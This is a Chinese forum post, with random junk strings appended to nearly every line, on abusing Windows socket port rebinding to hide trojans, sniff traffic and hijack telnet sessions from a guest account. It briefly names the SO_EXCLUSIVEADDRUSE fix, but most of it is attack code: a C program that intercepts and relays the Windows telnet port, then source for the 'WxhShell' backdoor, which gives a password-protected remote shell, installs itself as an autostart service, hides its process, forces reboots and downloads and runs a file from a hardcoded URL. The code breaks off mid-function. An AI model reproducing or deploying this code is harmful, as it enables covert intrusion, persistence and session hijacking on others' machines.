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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H5n" !!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )9$Xfq/  
$d'Gh2IGA  
  saddr.sin_family = AF_INET; <_+8c{G  
kciH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F n\)*; ^  
2neiUNT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); xGqZ8v`v  
Lt)t}0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vCJjZ%eO%D  
:mij%nQ>$  
  这意味着什么?意味着可以进行如下的攻击: j$,`EBf`:<  
&wJ"9pQ~6E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 plca`  
4H'9y3dk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WVVqH_  
+XsY*$O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B,676~I  
'uh6?2)wG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %!@Dop/<  
1.+MX(w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W];4P=/  
VGSe<6Hh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G2mv6xK'  
a 3H S!/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 XG0,@Ly  
'vXrA  
  #include Y!KGJ^.mF  
  #include b[$>HB_Na  
  #include E 0YXgQa  
  #include     l)?c3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {w2<;YXj!  
  int main() F](kU#3"S  
  { "*UHit;"+{  
  WORD wVersionRequested; 1iUy*p65:  
  DWORD ret; BQm H9g|2  
  WSADATA wsaData; T =:^k+  
  BOOL val; J &c}z4  
  SOCKADDR_IN saddr; ]_-<[0  
  SOCKADDR_IN scaddr; B!,})F$x  
  int err; T^"d%au  
  SOCKET s; b747eR 7E  
  SOCKET sc; lGxG$0`;;  
  int caddsize; 46*?hA7@r(  
  HANDLE mt; "kMpa]<c-6  
  DWORD tid;   bH&[O`vf  
  wVersionRequested = MAKEWORD( 2, 2 ); IE3GM^7\  
  err = WSAStartup( wVersionRequested, &wsaData ); ^CX~>j\(  
  if ( err != 0 ) { J=() A+  
  printf("error!WSAStartup failed!\n"); uvT]MgT  
  return -1; `jP6;i  
  } DJeG  
  saddr.sin_family = AF_INET; b.$Gc!g  
   =!7yX ;|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {1FY HM^  
vHWw*gg(/E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x ha!.&DO  
  saddr.sin_port = htons(23); bY#>   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |[gnWNdR$M  
  { |g@1qXO3  
  printf("error!socket failed!\n"); MLUq"f~N  
  return -1; \i{=%[c  
  } {W@Y4Qqq  
  val = TRUE; klPc l[.w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gX);/;9mm+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^58'*13ZL  
  { __)9JF  
  printf("error!setsockopt failed!\n"); <MY_{o8d  
  return -1; x }-rAr  
  } gCd9"n-e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "}EydG"=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *8Gx_$t&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d"$ \fL  
R:11w#m7w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HdVGkv/  
  { 6zyozJA  
  ret=GetLastError(); I9_tD@s"(  
  printf("error!bind failed!\n"); dw'%1g.113  
  return -1; >hHn{3y  
  } 2OEO b,`  
  listen(s,2); JrO2"S  
  while(1) O GSJR`yT  
  { RzXxnx)]q  
  caddsize = sizeof(scaddr); R:=i/P/  
  //接受连接请求 X)`? P*[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  y!!p:3  
  if(sc!=INVALID_SOCKET) Aj-}G^>#  
  { Dg \fjuK9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $$AKz\  
  if(mt==NULL) oMcX{v^"  
  { +,If|5>(  
  printf("Thread Creat Failed!\n"); }56"4/  Z  
  break; f:e~ystm  
  } !qT.D:!@zF  
  } wOINcEdx  
  CloseHandle(mt); g {wDI7"<q  
  } JeuW/:Wv  
  closesocket(s); &`{%0r[UD#  
  WSACleanup(); 87y$=eZ  
  return 0; Jo_h?{"L{  
  }   s>^*GQw  
  DWORD WINAPI ClientThread(LPVOID lpParam) (Zx;GS  
  { zkB_$=sbn#  
  SOCKET ss = (SOCKET)lpParam; R:zjEhH )  
  SOCKET sc; ^qGH77#z  
  unsigned char buf[4096]; cvi+AZ=  
  SOCKADDR_IN saddr; C^]bXIb  
  long num; Bx;bc  
  DWORD val; dX` _Y  
  DWORD ret; |>Kf_b Y#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x-Yt@}6mvl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @:X~^K.  
  saddr.sin_family = AF_INET; %=%jy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KR#Bj?fz-H  
  saddr.sin_port = htons(23); [p|-G*=00  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) buq3t+0  
  { '3aDvV0  
  printf("error!socket failed!\n"); vV,H@WK  
  return -1; sLPFeibof5  
  } {^5r5GB=*  
  val = 100; CZt)Q4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) | \C{R  
  { -7>vh|3  
  ret = GetLastError();  jmz, 1[  
  return -1; ,@8>=rT  
  } 5,k&^CK}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ay/ "2pDZ  
  { lhKd<Y"  
  ret = GetLastError(); 9["yL{IPe  
  return -1; :^%My]>T  
  } 0 ; M+8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !Tr +:SM  
  { ' w!o!_T6  
  printf("error!socket connect failed!\n"); o0_RU<bWN  
  closesocket(sc); b> Iq k  
  closesocket(ss); fo^M`a!va0  
  return -1; _ z#zF[%  
  } ;VNwx(1l`  
  while(1) W_ngB[  
  { ^;!A`t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G/bWn@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5,|^4 ZA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -aXV}ZY"  
  num = recv(ss,buf,4096,0); `fj(xrI  
  if(num>0) mM&H; W  
  send(sc,buf,num,0); Atzp\oO  
  else if(num==0) JIQS'r  
  break; FD,M.kbg  
  num = recv(sc,buf,4096,0); /k l0(='  
  if(num>0) \M'b %  
  send(ss,buf,num,0); J+kxb"#d  
  else if(num==0) ;a[56W  
  break; 2(Vm0E  
  } fYl$$.  
  closesocket(ss); A!x_R {,yH  
  closesocket(sc); &Dgho  
  return 0 ; Jr==AfxyT  
  } ehoDWO]S  
TY],H=  
Nj@k|_1  
========================================================== (G*--+Gn  
gQCkoQi:j  
下边附上一个代码,,WXhSHELL h 1:uTrtA  
<U (gjX  
========================================================== .yd{7Te  
3W5|Y@0  
#include "stdafx.h" 0bVtku K;G  
FDkRfhK  
#include <stdio.h> nxA Y]Q  
#include <string.h> Z;P[)q  
#include <windows.h> /#GX4&z  
#include <winsock2.h> JnlM0jc]`  
#include <winsvc.h> &>ii2% 4  
#include <urlmon.h> !LVWggk1  
P*BA  
#pragma comment (lib, "Ws2_32.lib") e%afK@c  
#pragma comment (lib, "urlmon.lib") tK`sVsm>  
D\jRF-z  
#define MAX_USER   100 // 最大客户端连接数 .R#p<"$I  
#define BUF_SOCK   200 // sock buffer j *Ta?'*  
#define KEY_BUFF   255 // 输入 buffer (dLt$<F  
c5+oP j  
#define REBOOT     0   // 重启 pej/9{*xg(  
#define SHUTDOWN   1   // 关机 b54<1\&  
?kI-o0@O.  
#define DEF_PORT   5000 // 监听端口 s*>s;S?{|  
Zm >Q-7r9  
#define REG_LEN     16   // 注册表键长度 4/&Us  
#define SVC_LEN     80   // NT服务名长度 ><mZOTn e;  
TxoMCN?7c  
// 从dll定义API be|k"s|6)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xa[<k >r3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (_^g:>)Cs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hc4<`W{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b'pbf  
RFU(wek  
// wxhshell配置信息 YR@@:n'TP  
struct WSCFG { 1Thr74M  
  int ws_port;         // 监听端口 ;EP7q[  
  char ws_passstr[REG_LEN]; // 口令 J^R))R=  
  int ws_autoins;       // 安装标记, 1=yes 0=no x$Ko|:-  
  char ws_regname[REG_LEN]; // 注册表键名 $]<CC`  
  char ws_svcname[REG_LEN]; // 服务名 Mc#uWmc 7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lbZ,?wm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w}c1zpa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -v'7;L0K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B;r U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vvU;55-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8P.t  
17I{_C  
}; @Y 1iEL%\y  
R rs?I,NV  
// default Wxhshell configuration cKEf- &~  
struct WSCFG wscfg={DEF_PORT, B.-5$4*s  
    "xuhuanlingzhe", b8P/9D7K?  
    1, F#Uxl%h  
    "Wxhshell", >eQ;\j  
    "Wxhshell", (YVl5}V  
            "WxhShell Service", G"T)+! 6t  
    "Wrsky Windows CmdShell Service", TR L4r_  
    "Please Input Your Password: ", `C%,Nj  
  1, : ~"^st_[!  
  "http://www.wrsky.com/wxhshell.exe", =QHW>v  
  "Wxhshell.exe" }QU9+<Z[r  
    }; }L^Yoq]  
IsxPm9P2<  
// 消息定义模块 (cAv :EKpo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +Pd&YfU9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _A|1_^[G(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z6#N f,  
char *msg_ws_ext="\n\rExit."; eS8tsI  
char *msg_ws_end="\n\rQuit."; ,>A9OTSN\  
char *msg_ws_boot="\n\rReboot..."; TviC1 {2  
char *msg_ws_poff="\n\rShutdown..."; @C62%fU{5  
char *msg_ws_down="\n\rSave to "; ywXerz7dUk  
f50qA;7k  
char *msg_ws_err="\n\rErr!"; O&.^67\|  
char *msg_ws_ok="\n\rOK!"; oUIa/}}w5  
<mjH#aSy  
char ExeFile[MAX_PATH]; gQ3Co./  
int nUser = 0; O@{ JB  
HANDLE handles[MAX_USER]; :0$(umW@I"  
int OsIsNt; yw^t6E  
_v{,vLH  
SERVICE_STATUS       serviceStatus; 6^F"np{w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0N$tSTo.-<  
&Y%Kr`.h  
// 函数声明 "%dWBvuO  
int Install(void); v%n'_2J =^  
int Uninstall(void); M`Jj!  
int DownloadFile(char *sURL, SOCKET wsh); SL" ;\[uI  
int Boot(int flag); -|B?pR  
void HideProc(void); gRIRc4p  
int GetOsVer(void); izsAn"v  
int Wxhshell(SOCKET wsl); lBqu}88q0  
void TalkWithClient(void *cs); \~UyfVPRT  
int CmdShell(SOCKET sock); Ck8`$x&t  
int StartFromService(void); ^crk8O@Fw  
int StartWxhshell(LPSTR lpCmdLine); M,"4r^%k  
9a9<I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eUPG){"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '31pb9@fH  
jv>l6)  
// 数据结构和表定义 +Gqh  
SERVICE_TABLE_ENTRY DispatchTable[] = yx"xbCc#  
{ )28Jz6.I  
{wscfg.ws_svcname, NTServiceMain}, q4@n pbx  
{NULL, NULL} kU$P?RD  
}; e.hHpjWi?Z  
z=<x.F  
// 自我安装 `=Pn{JaD  
int Install(void) Izm8 qt=m  
{ y?GRxoCD"e  
  char svExeFile[MAX_PATH]; {LYA?w^GT  
  HKEY key; pj;cL ]L  
  strcpy(svExeFile,ExeFile); 7GY[l3arxv  
S9d+#6rn  
// 如果是win9x系统,修改注册表设为自启动 gm~Ka%O|F  
if(!OsIsNt) { NX&mEz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { km,}7^?F0r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7\@[e, ^9  
  RegCloseKey(key); hu%rp{m^,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cG1-.,r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oNY;z-QK  
  RegCloseKey(key); \g< M\3f  
  return 0; PeEf=3  
    } :]iV*zo_  
  } B;9X{"  
} s`GwRH<#  
else { *2N$l>ql:k  
\gaGTc2&  
// 如果是NT以上系统,安装为系统服务 Ug*:o d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Os' 7h  
if (schSCManager!=0) P9; =O$s  
{ Lo _5r T"  
  SC_HANDLE schService = CreateService K Art4+31  
  ( D@*<p h=  
  schSCManager, W4Rs9NA}  
  wscfg.ws_svcname, w^e<p~i!^E  
  wscfg.ws_svcdisp, 9Slx.9f  
  SERVICE_ALL_ACCESS, Bm2"} =  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , = zW}vm }  
  SERVICE_AUTO_START, Zm,<2BP>  
  SERVICE_ERROR_NORMAL, 0][PL%3Z  
  svExeFile, a<7Ui;^@  
  NULL, Zy _A3m{  
  NULL, ]f#ZU{A'mt  
  NULL, -8;U1^#  
  NULL, "f/lm 2<  
  NULL Ic/D!J{Y  
  ); d]6.$"\" p  
  if (schService!=0) &l2oyQEF)  
  { }md[hiJ  
  CloseServiceHandle(schService); \E1[ /  
  CloseServiceHandle(schSCManager); 7y.$'<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <3zA|  
  strcat(svExeFile,wscfg.ws_svcname); +F$c_ \>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zY_BnJ^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fl<|/DCg  
  RegCloseKey(key); lg FA}p@  
  return 0; q|BR-0yi  
    } C-' n4AY^  
  } 'AU(WHf  
  CloseServiceHandle(schSCManager); ]+\;pb}bq  
} {jO:9O @  
} 'MH WNPG0  
 "_t2R &A  
return 1; IoWh&(+KdH  
} `wz@l:e  
kaf4GME]  
// 自我卸载 xU+c?OLi  
int Uninstall(void) <|9s {z  
{ `6;%HbP$W+  
  HKEY key; :"5'l>la  
|LA@guN  
if(!OsIsNt) { KR4X&d6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B|U*2|e  
  RegDeleteValue(key,wscfg.ws_regname); k"X<gA  
  RegCloseKey(key); T {Q]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - `F#MN  
  RegDeleteValue(key,wscfg.ws_regname); C# IV"Pkq  
  RegCloseKey(key); E+-ah vk  
  return 0; TOmq2*,/  
  } Bc3(xI'>J  
} |2w,Np-  
} ,?g}->ZB  
else { 5/4N  Y  
N9@@n:JT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uLXMEx<^  
if (schSCManager!=0) ^x(BZolkm  
{ E-jL"H*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V("@z<b|  
  if (schService!=0) gFlUMfKh  
  { `Mx&,;x  
  if(DeleteService(schService)!=0) { at"-X?`d  
  CloseServiceHandle(schService); e]F4w(*=  
  CloseServiceHandle(schSCManager); ZdG?fWWA  
  return 0; ?IRp3H  
  } ) Zud|%L  
  CloseServiceHandle(schService); :k9n 9  
  } d Bn/_  
  CloseServiceHandle(schSCManager); 1}nrVn[B9  
} ~k>H4hV3  
} ? IgM=@  
6$]@}O^V  
return 1; j_L1KB*  
} 0\XG;KA  
40,u(4.m*  
// 从指定url下载文件 k\(LBZ"vR  
int DownloadFile(char *sURL, SOCKET wsh) pJ)PVo\cV  
{ ;s{k32e  
  HRESULT hr; ~nO]R   
char seps[]= "/"; %6Wv-:LY  
char *token; O6JH)Ka"S  
char *file; :f<:>"<  
char myURL[MAX_PATH]; }>~';l  
char myFILE[MAX_PATH]; $OEhdz&Fi  
Q'-g+aN  
strcpy(myURL,sURL); :: IAXGH)  
  token=strtok(myURL,seps); qQ\&]  
  while(token!=NULL) V`:iu n^f  
  { J*HZ=6L  
    file=token; Si=zxy T  
  token=strtok(NULL,seps); qy@v, a  
  } UC&f  
D|m] ]B  
GetCurrentDirectory(MAX_PATH,myFILE); fCg"tckE  
strcat(myFILE, "\\"); 8K(3{\J[V  
strcat(myFILE, file); 7i(U?\A;.  
  send(wsh,myFILE,strlen(myFILE),0); EVs.'Xg<  
send(wsh,"...",3,0); hH Kd+QpI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ` s [77V>  
  if(hr==S_OK) AcC'hr.N+  
return 0; I !\;NVhv  
else |ci1P[y  
return 1; 3O %u?  
~J #^L*  
} : &! >.Y  
f0 iYP   
// 系统电源模块 @N^?I*|u  
int Boot(int flag) ~+ _|J"\  
{ $'m&RzZ  
  HANDLE hToken; %K@s0uQ  
  TOKEN_PRIVILEGES tkp; bWp40&vx  
!l2=J/LJj  
  if(OsIsNt) { qU!xh )  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }~/u%vI@M5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Wk3R6 V  
    tkp.PrivilegeCount = 1; uh,~Cv XU]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; > wsS75n1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gN"Abc  
if(flag==REBOOT) { `2}H$D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /m#!<t7  
  return 0; u~ %xU~v  
} ?[Gj?D.Wc  
else { ruqx #]-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Um4$. BKD  
  return 0;  -w7g}  
} `bXP )$  
  } ,UOAGu<_gb  
  else { d:|(l^]{r  
if(flag==REBOOT) { V* :Q~ ^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DdAs]e|D[  
  return 0; [}p/pj=  
} e* 2ay1c  
else { mC-'z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h7 uv0a~0  
  return 0; wXj!bh8\r  
} =lyP &u  
} Z?XgY\(a(Q  
 k2]Q~  
return 1; 3RYg-$NK[  
} Xgq-r $O2X  
"l83O8 L  
// win9x进程隐藏模块 2y_R05O0  
void HideProc(void) c{X>i>l>  
{ &RSUB;y mL  
' pnkm0=`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]U9f4ODt  
  if ( hKernel != NULL ) E05RqnqBn0  
  { iEe<+Eyns  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /Q|guJx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4q<LNvJA  
    FreeLibrary(hKernel); .)eJL  
  } N\ Nwmx  
SLCV|@G  
return; P.8CFl X  
} 'a&(r;  
=aL=SC+  
// 获取操作系统版本 .W[[Z;D  
int GetOsVer(void) IdY\_@$ v  
{ hSBR9g  
  OSVERSIONINFO winfo; 49/j9#hr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ez2rCpA  
  GetVersionEx(&winfo); *qh$,mp>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4tZnYGvqe  
  return 1; (YOp  
  else f76bEe/B9  
  return 0; BkZmE,  
} 1m$< %t.>  
C`)n\?:Sth  
// 客户端句柄模块 !21#NCw  
int Wxhshell(SOCKET wsl) {9 PeBc  
{ SfHs,y6  
  SOCKET wsh; M@R_t(&=   
  struct sockaddr_in client; x37pj)i/  
  DWORD myID; Py}`k1t*f  
lDBn3U&z>  
  while(nUser<MAX_USER) .1O  
{ T3-8AUCK8?  
  int nSize=sizeof(client); ?AL;m.X-@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Stq [[S5P  
  if(wsh==INVALID_SOCKET) return 1; a.oZ}R7'Y  
t&GjW6]W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ch^tq",1>  
if(handles[nUser]==0) vmV<PK-  
  closesocket(wsh); Glt%%TJb   
else $d@_R^]X  
  nUser++; 'Fe1]B"Y  
  } s :4<wmu4=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hM": ?Rx  
W0++q=F  
  return 0; AX {~A:B  
} %`o3YR  
k!%[W,*  
// 关闭 socket g91X*$`]  
void CloseIt(SOCKET wsh) @A-*XJNS":  
{ Iy2KOv@a5  
closesocket(wsh); Oyfc!  
nUser--; }!^/<|$=  
ExitThread(0); 9/La _ :K  
} 7<'4WHi;@s  
3]*_*<D  
// 客户端请求句柄  :RYh@.  
void TalkWithClient(void *cs) z / YF7wrx  
{ m/2LwN  
EPY64 {  
  SOCKET wsh=(SOCKET)cs; dWg09sx  
  char pwd[SVC_LEN]; t1y hU"(J  
  char cmd[KEY_BUFF]; [CCj5N1/  
char chr[1]; AqD)2O{VO  
int i,j; ^t|CD|,K_O  
*2$I, ~(P  
  while (nUser < MAX_USER) { <($'jlZ  
Ym)8L.  
if(wscfg.ws_passstr) { `L-GI{EJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  P[l?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )\iO wA  
  //ZeroMemory(pwd,KEY_BUFF); hx'p0HDta  
      i=0; %*>ee[^L ,  
  while(i<SVC_LEN) { \~3g*V  
jz\LI  
  // 设置超时 B%|cp+/  
  fd_set FdRead; 8T}Ycm5}  
  struct timeval TimeOut; M.h)]S>  
  FD_ZERO(&FdRead); [sM~B  
  FD_SET(wsh,&FdRead); h4j{44MT  
  TimeOut.tv_sec=8; &=seIc>x@  
  TimeOut.tv_usec=0; Bt8   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aNqhxvwf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FwdRM)1)  
F]#rH   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {"cS:u  
  pwd=chr[0]; kt.y"^  
  if(chr[0]==0xd || chr[0]==0xa) { Cg~GlZk}  
  pwd=0; Z+mesj?.  
  break; #$<7  
  } yK1Z&7>J>  
  i++; ]5!}S-uJq  
    } %T.4Aj  
dkz79G}e  
  // 如果是非法用户,关闭 socket GzJ("RE0)v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hkS K;  
} kW'xuZ&  
-^y$RJC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YQB.3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HzW`j"\  
f}4bnu3  
while(1) { KUr}?sdz  
R'#[}s  
  ZeroMemory(cmd,KEY_BUFF); l7{Xy_66  
sC8C><y  
      // 自动支持客户端 telnet标准   H#/}FoBiS  
  j=0; LK "47  
  while(j<KEY_BUFF) { '?q \mi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XJ3 5Z+M  
  cmd[j]=chr[0]; _L?`C  
  if(chr[0]==0xa || chr[0]==0xd) { U!GG8;4  
  cmd[j]=0; O23dtH  
  break; e}Y|' bG  
  } vm3B>ACJ  
  j++; <i~MBy. (  
    } MX=mGfoa  
|.A#wjF9  
  // 下载文件 RHV& m()Q  
  if(strstr(cmd,"http://")) { {b|:q>Be8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MEOVw[hO  
  if(DownloadFile(cmd,wsh)) [")3c)OH|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <X7x  
  else 6cCC+*V{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YTiXU Oj  
  } bt=%DMTn  
  else { hf2Q;n&V  
.t/XW++  
    switch(cmd[0]) { Ms^U`P^V~P  
  :hre|$@{a  
  // 帮助 E!d;ym  
  case '?': { r!qr'Ht<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ig&=(Kmr  
    break; v&[Ff|>  
  } (lDbArqy  
  // 安装 n[jyhBf\W  
  case 'i': { VA9" Au  
    if(Install()) k<mfBNvuo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 83"Vh$&  
    else .%{3#\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wS Ty2Oyo;  
    break; b%w?YR   
    } [B}$U|V0  
  // 卸载 1^G*)Qn5Df  
  case 'r': { xWY%-CWY.  
    if(Uninstall()) 95.m^~5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3JB?G>\!  
    else D^(Nijl9U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W'Wr8~{h  
    break; 5*.JXx E;U  
    } JLS|G?#0  
  // 显示 wxhshell 所在路径 gr\UI!]F  
  case 'p': { .OLm{  
    char svExeFile[MAX_PATH]; kaSy 9Y{  
    strcpy(svExeFile,"\n\r"); &E0d{ 2  
      strcat(svExeFile,ExeFile); PZVh)6f"c  
        send(wsh,svExeFile,strlen(svExeFile),0); w1Z9@*C!  
    break; $wL zaZL|  
    } W^}fAcQKH  
  // 重启 I]HrtI  
  case 'b': { WoP5[.G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [:cy.K!Uo%  
    if(Boot(REBOOT)) -)biSU,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3$fzqFo  
    else { 6#sd"JvtQ  
    closesocket(wsh); Zt3"4d4  
    ExitThread(0); ;T!w$({V0z  
    } J{W<6AK\S  
    break; f(Vr&X  
    } U)Cv_qe  
  // 关机 i%jti6z$Hr  
  case 'd': { h n:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -O.q$D=as  
